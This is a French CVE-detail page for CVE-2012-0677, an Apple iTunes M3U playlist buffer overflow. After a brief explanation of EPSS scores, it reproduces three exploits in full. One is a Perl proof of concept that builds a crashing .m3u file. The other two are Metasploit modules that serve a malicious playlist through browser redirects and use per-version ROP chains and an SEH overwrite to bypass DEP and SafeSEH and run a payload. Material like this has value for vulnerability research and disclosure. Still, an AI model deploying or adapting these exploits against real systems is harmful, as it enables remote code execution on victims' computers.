CVE-2012-0677 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/perl # # # Apple iTunes 10.6.1.7 M3U Playlist File Walking Heap Buffer Overflow # # # Vendor: Apple Inc. # Product web page: http://www.apple.com # Affected version: 10.6.1.7 and 10.6.0.40 # # Summary: iTunes is a free application for your Mac or PC. It lets you # organize and play digital music and video on your computer. It can # automatically download new music, app, and book purchases across all # your devices and computers. And it’s a store that has everything you # need to be entertained. Anywhere. Anytime. # # Desc: The vulnerability is caused due to a boundary error in the processing # of a playlist file, which can be exploited to cause a heap based buffer # overflow when a user opens e.g. a specially crafted .M3U file. Successful # exploitation could allow execution of arbitrary code on the affected node. # # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # (940.fc0): Access violation - code c0000005 (!!! second chance !!!) # eax=41414141 ebx=08508cd8 ecx=41414141 edx=052a6528 esi=052a64b0 edi=0559ef20 # eip=41414141 esp=0012d8e8 ebp=7c90ff2d iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 # <Unloaded_Card.dll>+0x41414130: # 41414141 ?? ??? # # ~~~ # # (6b0.a04): Access violation - code c0000005 (!!! second chance !!!) # eax=41414141 ebx=00000000 ecx=00000014 edx=41414141 esi=41414141 edi=0187e10d # eip=0187deec esp=0b0cfcd0 ebp=0b0cfcf0 iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 # Defaulted to export symbols for C:\Program Files\Common Files\Apple\Apple Application Support\CoreFoundation.dll - # CoreFoundation!CFWriteStreamCreateWithAllocatedBuffers+0x40: # 0187deec 8b00 mov eax,dword ptr [eax] ds:0023:41414141=???????? # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # # Tested on: Microsoft Windows XP Professional SP3 EN (32bit) # Microsoft Windows 7 Ultimate SP1 EN (64bit) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Zero Science Lab - http://www.zeroscience.mk # # # Vendor status: # # [13.03.2012] Vulnerability discovered in version 10.6.0.40. # [29.03.2012] Vulnerability present in version 10.6.1.7. # [11.05.2012] Vendor contacted. # [11.05.2012] Vendor responds asking more details. # [11.05.2012] Sent detailed information and PoC code to the vendor. # [12.05.2012] Vendor begins investigation. # [14.05.2012] Asked vendor for confirmation. # [17.05.2012] Vendor confirms the vulnerability, developing patch. # [17.05.2012] Requested a scheduled patch release date from vendor. # [18.05.2012] Vendor replies. # [06.06.2012] Asked vendor for status update. # [08.06.2012] Vendor shares information about security update. # [11.06.2012] Vendor releases version 10.6.3 to address this issue. # [12.06.2012] Coordinated public security advisory released. # # # Advisory ID: ZSL-2012-5093 # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2012-5093.php # Advisory TXT: http://www.zeroscience.mk/codes/itunes_bof.txt # # Apple ID: APPLE-SA-2012-06-11-1 # Apple Advisory #1: http://support.apple.com/kb/HT5318 # Apple Advisory #2: http://support.apple.com/kb/HT1222 # # CVE ID: CVE-2012-0677 # CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0677 # # # 13.03.2012 # use strict; my $FILE = "HIEROGLYPH.m3u"; my $AN = "\x44\x44\x44\x44"; my $EGYPTIAN = "\x43" x 16560; my $LIKE = "\x42\x42\x42\x42"; ####### #OOOOOOOOOOY my $WALK="\x23\x45". "\x58\x54\x4D\x33". "\x55\x0D\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41". "\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41". "\x41". "\x41\x41". "\x41\x41\x41". "\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41\x41". "\x41\x41\x41\x41". "\x41\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41\x41". "\x41\x41\x41\x41". "\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41\x41". "\x41\x41\x41". "\x41\x41\x41\x41". "\x41\x41\x41\x41". "\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41" x 7691; my $CRYPT = $WALK.$LIKE.$AN.$EGYPTIAN; print "\n\n[+] Creating $FILE file...\n"; open ZSL, ">./$FILE" || die "\n[-] Can't open $FILE: $!\n\n"; print ZSL $CRYPT; print "\n[+] File successfully composed!\n\n"; close ZSL;

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Apple iTunes 10 Extended M3U Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7. When opening an extended .m3u file containing an "#EXTINF:" tag description, iTunes will copy the content after "#EXTINF:" without appropriate checking from a heap buffer to a stack buffer, writing beyond the stack buffer's boundary, which allows code execution under the context of the user. Please note before using this exploit, you must have precise knowledge of the victim machine's QuickTime version (if installed), and then select your target accordingly. In addition, even though this exploit can be used as remote, you should be aware the victim's browser behavior when opening an itms link. For example, IE/Firefox/Opera by default will ask the user for permission before launching the itms link by iTunes. Chrome will ask for permission, but also spits a warning. Safari would be an ideal target, because it will open the link without any user interaction. }, 'Author' => [ 'Rh0 <rh0[at]z1p.biz>', # discovery and metasploit module 'sinn3r' #Mo' targets & code cleanup, etc ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => ['win'], 'Arch' => ARCH_X86, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\xfc\xfb\xff\xff" # ADD ESP, -0x404 }, 'References' => [ [ 'EDB', '19322' ] ], 'DisclosureDate' => "Jun 21 2012", 'Targets' => [ # Default package for iTunesSetup104.exe ['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.69 on XP SP3', { 'Ret' => 0x669C197B, # ADD ESP,0xD40 / ret [QuickTime.qts] 'ROP_NOP' => 0x66801044 # RET } ], # Default package for iTunesSetup1041.exe [ 'iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.70 on XP SP3', { 'Ret' => 0x6693A96B, # ADD ESP,0xD40 / ret [QuickTime.qts] 'ROP_NOP' => 0x66801044 # RET } ], [ 'iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.71 on XP SP3', { 'Ret' => 0x6693ACBB, # ADD ESP,0xD40 / ret [QuickTime.qts] 'ROP_NOP' => 0x66801044 # RET } ], ['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.72 on XP SP3', { 'Ret' => 0x6693afab, # ADD ESP,0xD40 / ret [QuickTime.qts] 'ROP_NOP' => 0x66801044 # RET } ] ] )) end def on_request_uri(cli,request) # re-generate the payload return if ((p = regenerate_payload(cli).encoded) == nil) host = request.headers['HOST'] agent = request.headers['USER-AGENT'] # iTunes browser link m3u_location = "itms://#{host}#{get_resource()}/#{rand_text_alphanumeric(8+rand(8))}.m3u" if request.uri =~ /\.ico$/i # Discard requests for ico files send_not_found(cli) elsif request.uri =~ /\.m3u$/i print_status("Target: #{target.name}") print_status("Sending playlist") send_response(cli, generate_m3u(p), { 'Content-Type' => 'audio/x-mpegurl' }) elsif agent =~ /MSIE (6|7|8)\.0/ and agent =~ /NT 5\.1/ print_status("Redirecting to playlist") send_response(cli, generate_redirect_ie(m3u_location), { 'Content-Type' => 'text/html' }) elsif agent =~ /NT 5\.1/ # redirect Firefox, Chrome, Opera, Safari to iTunes link print_status("Redirecting to playlist") send_redirect(cli, m3u_location) else print_status("Unknown User-Agent: #{agent}") send_not_found(cli) end end # IE did not proper redirect when retrieving an itms:// location redirect via a HTTP header... # ... so use html def generate_redirect_ie(m3u_location) ie_redir = <<-HTML_REDIR <!DOCTYPE HTML> <html> <head> <meta http-equiv="refresh" content="0; URL=#{m3u_location}"> </head> </html> HTML_REDIR ie_redir = ie_redir.gsub(/^\t\t\t/, '') return ie_redir end def generate_m3u(payload) # Bypass stack cookies by triggering a SEH exception before # the cookie gets checked. SafeSEH is bypassed by using a non # safeSEH DLL [QuickTime.qts]. # stack buffer overflow -> # overwrite SEH handler -> # trigger SEH exception -> # rewind stack (ADD ESP, ...) and land in ROP NOP sled -> # virtualprotect and execute shellcode m3u = '#EXTINF:,' # stack layout depends on what iTunes is doing (running or not, playing music etc.) ... # ... so ensure we overwrite a SEH handler to get back to our rop chain m3u << [target.ret].pack("V") * 0x6a # stack pivot/rewind m3u << [target['ROP_NOP']].pack("V") * 30 # ROP NOP sled m3u << gimme_rop m3u << payload # 0x1000 should be enough to overflow the stack and trigger SEH m3u << rand_text_alphanumeric(0x1000 - m3u.length) return m3u end def gimme_rop # thanx to mona.py :) rop_chain = [ :popad, # registers 0x66801044, # EDI: RET 0x7c801ad4, # ESI: VirtualProtect [kernel32.dll] :jmpesp, junk, :ebx, # EBX: Becomes 0x3e8 0xffffffd6, # EDX: Becomes 0x40 0x673650b0, # ECX: lpflOldProtect 0x90909090, #EAX # correct dwSize and flNewProtect :modebx, :addedx, # throw it on the stack :pushad ] # Map gadgets to a specific Quicktime version rop_chain.map! { |g| case target.name when /QuickTime 7\.69/ case g when :popad then 0x66C3E260 when :jmpesp then 0x669F6E21 when :ebx then 0x4CC48017 when :modebx then 0x669A8648 # xor ebx,4CC483FF; ret when :addedx then 0x669FC1C6 # add edx, 0x6a; ret when :pushad then 0x6682A67E else g end when /QuickTime 7\.70/ case g when :popad then 0x66926F5B when :jmpesp then 0x66d6b743 when :ebx then 0x6c1703e8 when :modebx then 0x66b7d8cb # add ebx, 0x93E90000 ; ret when :addedx then 0x66975556 # add edx, 0x6a; ret when :pushad then 0x6689B829 else g end when /QuickTime 7\.71/ case g when :popad then 0x668E2BAA when :jmpesp then 0x66965F78 when :ebx then 0x6c1703e8 when :modebx then 0x66B7DC4B # add ebx, 0x93E90000 ; ret when :addedx then 0x66975956 # add edx, 0x6a; ret when :pushad then 0x66C28B70 else g end when /QuickTime 7\.72/ case g when :popad then 0x66c9a6c0 when :jmpesp then 0x6697aa03 when :ebx then 0x6c1703e8 when :modebx then 0x66b7de1b # add ebx, 0x93E90000 ; ret when :addedx then 0x66975c56 # add edx, 0x6a; ret when :pushad then 0x6684b5c6 else g end end } rop_chain.pack("V*") end def junk rand_text_alpha(4).unpack("L")[0].to_i end end =begin 0:000> r eax=0e5eb6a0 ebx=00000000 ecx=00000183 edx=00000003 esi=0e5eb091 edi=00130000 eip=10ceaa7a esp=0012ee5c ebp=0012ee64 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 iTunes_10000000!iTunesMainEntryPoint+0xb93f3a: 10ceaa7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0012ee64 10356284 iTunes_10000000!iTunesMainEntryPoint+0xb93f3a 0012eea4 1035657c iTunes_10000000!iTunesMainEntryPoint+0x1ff744 0012eed8 1034de49 iTunes_10000000!iTunesMainEntryPoint+0x1ffa3c 00000000 00000000 iTunes_10000000!iTunesMainEntryPoint+0x1f7309 0:000> !address esi 0c720000 : 0d87d000 - 00ea3000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 0c720000 0:000> !address edi-10 00030000 : 000ee000 - 00042000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageStack Pid.Tid d1c.d0c =end

## # # ============================================================================================ # * Apple iTunes <= 10.6.1.7 Extended m3u Stack Buffer Overflow Remote Code Execution (2012) * # ============================================================================================ # # Date: Jun 20 2012 # Author: Rh0 # Affected Versions: Apple iTunes 10.4.0.80 to 10.6.1.7 # Tested on: Windows XP Professional SP3 EN # # http://pastehtml.com/raw/c25uhk4ab.html # # ============================================================================================ # # This seems not to be CVE-2012-0677 as this here is stack based. However it was also fixed # by Apple without mentioning it in the security fixes http://support.apple.com/kb/HT5318 # of iTunes 10.6.3.25 # # # - written for educational purposes - # ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML # e.g.: put this module into modules/exploit/windows/browser/itunes_extm3u_bof.rb def initialize(info = {}) super(update_info(info, 'Name' => 'iTunes Extended M3U Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7. When opening an extended .m3u file containing an "#EXTINF:" tag description, iTunes will copy the content after "#EXTINF:" without appropriate checking from a heap buffer to a stack buffer and write beyond the stack buffers boundary. This allows arbitrary code execution. The Windows XP target has to have QuickTime 7.7.2 installed for this module to work. It uses a ROP chain from a non safeSEH enabled DLL to bypass DEP and safeSEH. The stack cookie check is bypassed by triggering a SEH exception. }, ## NOTE ## # Exploit works best if iTunes is not running and the user browses to a malicious page. # But even if iTunes is already running and playing music, the exploit worked reliably # # remote code execution is possible via itms:// handler, which instructs a browser to open # iTunes: # Safari does not prompt for iTunes itms links -> RCE without user interaction # Firefox, Opera, and IE ask the user for permission to launch iTunes # Chrome asks for permission and spits a big warning 'Author' => [ 'Rh0 <rh0 [at] z1p.biz>' # discovery and metasploit module ], 'Version' => '0.0', 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => ['win'], 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\xfc\xfb\xff\xff" # ADD ESP, -0x404 }, 'Targets' => [ ['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.7.2 - Windows XP SP3 EN Professional', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'SEH' => 0x6693afab, # ADD ESP,0xD40 / ret [QuickTime.qts v7.7.2] 'ROP_NOP' => 0x66801044 # RET } ] ], 'DefaultTarget' => 0 )) register_options( [ OptPort.new('SRVPORT', [true, "The local port to listen on", 80]), OptString.new('URIPATH', [false, "The URI to use for this exploit", "/"]), ], self.class ) end def on_request_uri(cli,request) # re-generate the payload return if ((p = regenerate_payload(cli).encoded) == nil) host = request.headers['HOST'] agent = request.headers['USER-AGENT'] # iTunes browser link m3u_location = "itms://#{host}/#{rand_text_alphanumeric(8+rand(8))}.m3u" if request.uri =~ /\.ico$/i # Discard requests for ico files send_not_found(cli) #elsif agent =~ /iTunes\/10.6.1/ and agent =~ /Windows XP Professional Service Pack 3/ and request.uri =~ /\.m3u$/i elsif agent =~ /iTunes/ and agent =~ /Windows XP Professional Service Pack 3/ and request.uri =~ /\.m3u$/i # exploit iTunes (<= 10.6.1.7) on Windows XP SP3 send_response(cli, generate_m3u(p), { 'Content-Type' => 'audio/x-mpegurl' }) status(request,cli,"Sending playlist") elsif agent =~ /MSIE (6|7|8)\.0/ and agent =~ /NT 5\.1/ # redirect MSIE to iTunes link send_response(cli, generate_redirect_ie(m3u_location), { 'Content-Type' => 'text/html' }) status(request,cli,"Redirecting to playlist") elsif agent =~ /NT 5\.1/ # redirect Firefox, Chrome, Opera, Safari to iTunes link send_redirect(cli, m3u_location) status(request,cli,"Redirecting to playlist") else send_not_found(cli) print_status("Unknown User-Agent. Sending 404") end end # IE did not proper redirect when retrieving an itms:// location redirect via a HTTP header... # ... so use html def generate_redirect_ie(m3u_location) ie_redir = <<-HTML_REDIR <!DOCTYPE HTML> <html> <head> <meta http-equiv="refresh" content="0; URL=#{m3u_location}"> </head> </html> HTML_REDIR return ie_redir end # create the malicious playlist def generate_m3u(payload) # Bypass stack cookies by triggering a SEH exception before # the cookie gets checked. SafeSEH is bypassed by using a non # safeSEH DLL [QuickTime.qts v7.7.2]. DEP is bypassed by using ROP. # stack buffer overflow -> # overwrite SEH handler -> # trigger SEH exception -> # rewind stack (ADD ESP, ...) and land in ROP NOP sled -> # virtualprotect and execute shellcode target = targets[0] m3u = '#EXTINF:,' # stack layout depends on what iTunes is doing (running or not, playing music etc.) ... # ... so ensure we overwrite a SEH handler to get back to our rop chain m3u << [target['SEH']].pack("V") * 0x6a # stack pivot/rewind m3u << [target['ROP_NOP']].pack("V") * 30 # ROP NOP sled m3u << gimme_rop m3u << payload # 0x1000 should be enough to overflow the stack and trigger SEH m3u << rand_text_alphanumeric(0x1000 - m3u.length) return m3u end def gimme_rop() # thanx to mona.py :) rop_chain = [ 0x66c9a6c0, # POPAD / RET # registers 0x66801044, # EDI: RET 0x7c801ad4, # ESI: VirtualProtect [kernel32.dll] 0x6697aa03, # EBP: JMP ESP junk, # skipped 0x6c1703e8, # EBX: will become 0x3e8 after adding 0x93e90000 (dwSize) 0xffffffd6, # EDX: will become 0x40 after adding 0x6a (flNewProtect) 0x673650b0, # ECX: lpflOldProtect 0x90909090, # EAX: nops # correct dwSize and flNewProtect 0x66b7de1b, # ADD EBX, 0x93E90000 / RET 0x66975c56, # ADD EDX, 0x6A / RET # throw it on the stack 0x6684b5c6 # PUSHAD / RET ].pack("V*") return rop_chain end def junk return rand_text_alpha(4).unpack("L")[0].to_i end def status(req,cli,action) print_status("Request for #{req.uri} from #{cli.peerhost}:#{cli.peerport}. #{action}") end end